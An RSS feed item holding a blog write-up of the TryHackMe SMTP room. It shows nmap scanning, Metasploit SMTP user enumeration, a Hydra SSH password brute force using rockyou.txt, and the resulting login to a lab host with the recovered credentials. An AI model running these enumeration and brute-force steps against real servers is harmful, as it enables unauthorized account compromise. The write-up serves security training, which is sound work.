<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Michael Muratov</title><link>https://michaelmuratov.com/tags/smtp/</link><description>Recent content on Michael Muratov</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><lastBuildDate>Thu, 17 Oct 2024 00:00:00 +0000</lastBuildDate><atom:link href="https://michaelmuratov.com/tags/smtp/index.xml" rel="self" type="application/rss+xml"/><item><title>TryHackMe - SMTP</title><link>https://michaelmuratov.com/blog/artifacts/guides/thm-smtp-room/</link><pubDate>Thu, 17 Oct 2024 00:00:00 +0000</pubDate><guid>https://michaelmuratov.com/blog/artifacts/guides/thm-smtp-room/</guid><description>&lt;p&gt;This is a &lt;code&gt;TryHackMe Room Writeup&lt;/code&gt;&lt;/p&gt;
&lt;link href="https://michaelmuratov.com/css/admonitions.min.css" rel="stylesheet" /&gt;
&lt;div class="admonition note"&gt;
&lt;div class="admonition-header"&gt;
&lt;svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"&gt;&lt;path d="M0 64C0 28.7 28.7 0 64 0L224 0l0 128c0 17.7 14.3 32 32 32l128 0 0 125.7-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5L64 512c-35.3 0-64-28.7-64-64L0 64zm384 64l-128 0L256 0 384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z"/&gt;&lt;/svg&gt;
&lt;span&gt;Reference&lt;/span&gt;
&lt;/div&gt;
&lt;div class="admonition-content"&gt;
&lt;p&gt;&lt;a href="https://tryhackme.com/r/room/networkservices2"&gt;💻 TryHackMe Network Services Room&lt;/a&gt;&lt;/p&gt;</description><content:encoded><![CDATA[<p>This is a <code>TryHackMe Room Writeup</code></p>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition note">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><path d="M0 64C0 28.7 28.7 0 64 0L224 0l0 128c0 17.7 14.3 32 32 32l128 0 0 125.7-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5L64 512c-35.3 0-64-28.7-64-64L0 64zm384 64l-128 0L256 0 384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z"/></svg>
      <span>Reference</span>
    </div>
      <div class="admonition-content">
        <p><a href="https://tryhackme.com/r/room/networkservices2">💻 TryHackMe Network Services Room</a></p>
      </div>
  </div><h3 id="smtp-intrusion">SMTP Intrusion</h3>
<p>Simple Mail Transfer Protocol aka <strong>SMTP</strong> allows for the process by which mail clients send mail to each other. If we were to compare the email service to the postal delivery service, SMTP would be the courier, delivering mail from the post office to the recipient&rsquo;s address, except in this case every address is also its own post office. The courier tends to know important information about its sender so we&rsquo;ll be trying to get as much information out of it as we can. Thankfully the SMTP service is very receptive to questions so we will be able to <strong>pry valuable insights from it</strong> in order to compromise its server.</p>
<h4 id="identifying-the-smtp-service">Identifying the SMTP Service</h4>
<p>The first step of identifying possible attack vectors is running a network <strong>Nmap</strong> scan to see what ports are open on services that we know how to abuse. In this case we&rsquo;re looking for <strong>port 25</strong> exposing the SMTP service to the internet.</p>
<p>Example Nmap Scan: <em>(NFS Scan highlighted)</em></p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">root@ip-10-10-22-136:~# <span class="nv">IP</span><span class="o">=</span>10.10.190.97
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">root@ip-10-10-22-136:~# nmap -sS -T4 -F -oN output.txt <span class="nv">$IP</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">Nmap scan report <span class="k">for</span> ip-10-10-190-97.eu-west-1.compute.internal <span class="o">(</span>10.10.190.97<span class="o">)</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">Host is up <span class="o">(</span>0.00070s latency<span class="o">)</span>.
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">Not shown: <span class="m">998</span> closed ports
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">PORT   STATE SERVICE
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">22/tcp open  ssh
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">25/tcp open  smtp
</span></span><span class="line"><span class="ln">10</span><span class="cl">MAC Address: 02:87:B2:A3:3F:17 <span class="o">(</span>Unknown<span class="o">)</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="c1"># Nmap done at Sun Oct  6 01:22:55 2024 -- 1 IP address (1 host up) scanned in 1.68 seconds</span></span></span></code></pre></div>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition code">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><path d="M392.8 1.2c-17-4.9-34.7 5-39.6 22l-128 448c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l128-448c4.9-17-5-34.7-22-39.6zm80.6 120.1c-12.5 12.5-12.5 32.8 0 45.3L562.7 256l-89.4 89.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-112-112c-12.5-12.5-32.8-12.5-45.3 0zm-306.7 0c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l112 112c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256l89.4-89.4c12.5-12.5 12.5-32.8 0-45.3z"/></svg>
      <span>Code</span>
    </div>
      <div class="admonition-content">
        <p>The call above uses the flag <strong>-sS</strong> to perform a stealthy SYN scan, which is faster and less detectable than a full connection scan. The <strong>-T4</strong> flag sets the timing template to be faster than the default, balancing speed and accuracy. The <strong>-F</strong> flag specifies a fast scan that targets the top 100 most common ports. The <strong>-oN output.txt</strong> flag saves the scan results in a normal format to a file named <strong>output.txt</strong>. Finally, <strong>$IP</strong> specifies the target IP address for the scan.&quot;</p>
      </div>
  </div><h4 id="getting-the-smtp-server-metadata">Getting the SMTP server metadata</h4>
<p>Now that we&rsquo;ve identified a way in, we can use a pre made SMTP <strong>attack script</strong> to extract as much valuable metadata we can using the Metasploit smtp_version script. In this case we&rsquo;re able to extract the smtp server&rsquo;s domain name but not much else that&rsquo;s useful. We&rsquo;ll try a more <strong>aggressive</strong> script next.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">msfconsole
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">msf6 &gt; use auxiliary/scanner/smtp/smtp_version
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">msf6 auxiliary<span class="o">(</span>scanner/smtp/smtp_version<span class="o">)</span> &gt; <span class="nb">set</span> RHOSTS 10.10.22.136
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">Module options <span class="o">(</span>auxiliary/scanner/smtp/smtp_version<span class="o">)</span>:
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">Name     Current Setting  Required  Description
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">----     ---------------  --------  -----------
</span></span><span class="line"><span class="ln">10</span><span class="cl">RHOSTS   10.10.22.136     yes       The target host<span class="o">(</span>s<span class="o">)</span>, see https://docs.metasploit.com/docs/using-me
</span></span><span class="line"><span class="ln">11</span><span class="cl">                                    tasploit/basics/using-metasploit.html
</span></span><span class="line"><span class="ln">12</span><span class="cl">RPORT    <span class="m">25</span>               yes       The target port <span class="o">(</span>TCP<span class="o">)</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">THREADS  <span class="m">1</span>                yes       The number of concurrent threads <span class="o">(</span>max one per host<span class="o">)</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">
</span></span><span class="line"><span class="ln">15</span><span class="cl">msf6 auxiliary<span class="o">(</span>scanner/smtp/smtp_version<span class="o">)</span> &gt; run
</span></span><span class="line"><span class="ln">16</span><span class="cl">
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> 10.10.190.97:25       - 10.10.190.97:25 SMTP <span class="m">220</span> polosmtp.home ESMTP Postfix <span class="o">(</span>Ubuntu<span class="o">)</span><span class="se">\x</span>0d<span class="se">\x</span>0a
</span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> 10.10.190.97:25       - Scanned <span class="m">1</span> of <span class="m">1</span> hosts <span class="o">(</span>100% <span class="nb">complete</span><span class="o">)</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Auxiliary module execution completed</span></span></code></pre></div>
<h4 id="finding-the-smtp-server-exposed-usernames">Finding the SMTP server exposed usernames</h4>
<p>We&rsquo;ll try to <strong>brute force</strong> our SMTP courier to get it to tell us who it expects us to be talking to. We&rsquo;ll keep asking it whether it recognizes the name we give it with a enumeration brute force attack and hopefully we&rsquo;ll get a match. In this case we were able to tell that the SMTP knows the user &ldquo;administrator&rdquo; which gives us valuable insight into a possible user on the system. It is especially exciting to confirm the existence of an administrator user because <strong>compromising their account can lead to unrestricted access to their entire server!</strong></p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">msf6 auxiliary<span class="o">(</span>scanner/smtp/smtp_version<span class="o">)</span> &gt; use /auxiliary/scanner/smtp/smtp_enum
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">msf6 auxiliary<span class="o">(</span>scanner/smtp/smtp_enum<span class="o">)</span> &gt; <span class="nb">set</span> RHOSTS 10.10.190.97
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">msf6 auxiliary<span class="o">(</span>scanner/smtp/smtp_enum<span class="o">)</span> &gt; <span class="nb">set</span> USER_FILE /usr/share/wordlists/SecLists/Usernames/top-usernames-shortlist.txt
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">msf6 auxiliary<span class="o">(</span>scanner/smtp/smtp_enum<span class="o">)</span> &gt; run
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> 10.10.190.97:25       - 10.10.190.97:25 Banner: <span class="m">220</span> polosmtp.home ESMTP Postfix <span class="o">(</span>Ubuntu<span class="o">)</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> 10.10.190.97:25       - 10.10.190.97:25 Users found: administrator
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> 10.10.190.97:25       - Scanned <span class="m">1</span> of <span class="m">1</span> hosts <span class="o">(</span>100% <span class="nb">complete</span><span class="o">)</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Auxiliary module execution completed</span></span></code></pre></div>
<h4 id="running-hydra-to-brute-force-the-password">Running Hydra to Brute Force the password</h4>
<p>This isn&rsquo;t a very <em>nice</em> way to break into a system but we&rsquo;ll continue to use the brute force enumeration approach along with the username we found to try to log into the server via ssh. We&rsquo;ll use the hydra tool to enumerate different passwords until we get one that works.</p>
<p>Luckily there was a <strong>direct match</strong> and we found a password for the administrator user, if only it was always this simple 😊</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">hydra -t <span class="m">16</span> -l administrator -P /usr/share/wordlists/rockyou.txt -vV 10.10.190.97 ssh
</span></span><span class="line"><span class="ln">2</span><span class="cl">
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="o">[</span>22<span class="o">][</span>ssh<span class="o">]</span> host: 10.10.190.97   login: administrator   password: alejandro
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="o">[</span>STATUS<span class="o">]</span> attack finished <span class="k">for</span> 10.10.190.97 <span class="o">(</span>waiting <span class="k">for</span> children to <span class="nb">complete</span> tests<span class="o">)</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="m">1</span> of <span class="m">1</span> target successfully completed, <span class="m">1</span> valid password found</span></span></code></pre></div>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition code">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><path d="M392.8 1.2c-17-4.9-34.7 5-39.6 22l-128 448c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l128-448c4.9-17-5-34.7-22-39.6zm80.6 120.1c-12.5 12.5-12.5 32.8 0 45.3L562.7 256l-89.4 89.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-112-112c-12.5-12.5-32.8-12.5-45.3 0zm-306.7 0c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l112 112c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256l89.4-89.4c12.5-12.5 12.5-32.8 0-45.3z"/></svg>
      <span>Code</span>
    </div>
      <div class="admonition-content">
        <p>The call above uses the flag <strong>-t 16</strong> to spawn 16 threads to attempt logins on the specified username <strong>-l administrator</strong> using the filepath <strong>-P rockyou.txt</strong> for passwords on the server&rsquo;s <strong>IP</strong> via <strong>ssh</strong> in <strong>-vV</strong> very verbose mode.&quot; &gt;}}</p>
      </div>
  </div><h3 id="logging-into-the-server-with-credentials">Logging into the server with credentials</h3>
<p>Equipped with a username and password we can easily SSH into the server unless it has other protections in place.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">ssh administrator@10.10.190.97
</span></span><span class="line"><span class="ln">2</span><span class="cl">administrator@10.10.190.97<span class="err">&#39;</span>s password: alejandro
</span></span><span class="line"><span class="ln">3</span><span class="cl">
</span></span><span class="line"><span class="ln">4</span><span class="cl">Welcome to Ubuntu 18.04.4 LTS <span class="o">(</span>GNU/Linux 4.15.0-111-generic x86_64<span class="o">)</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl">
</span></span><span class="line"><span class="ln">6</span><span class="cl">administrator@polosmtp:~$</span></span></code></pre></div>
]]></content:encoded></item></channel></rss>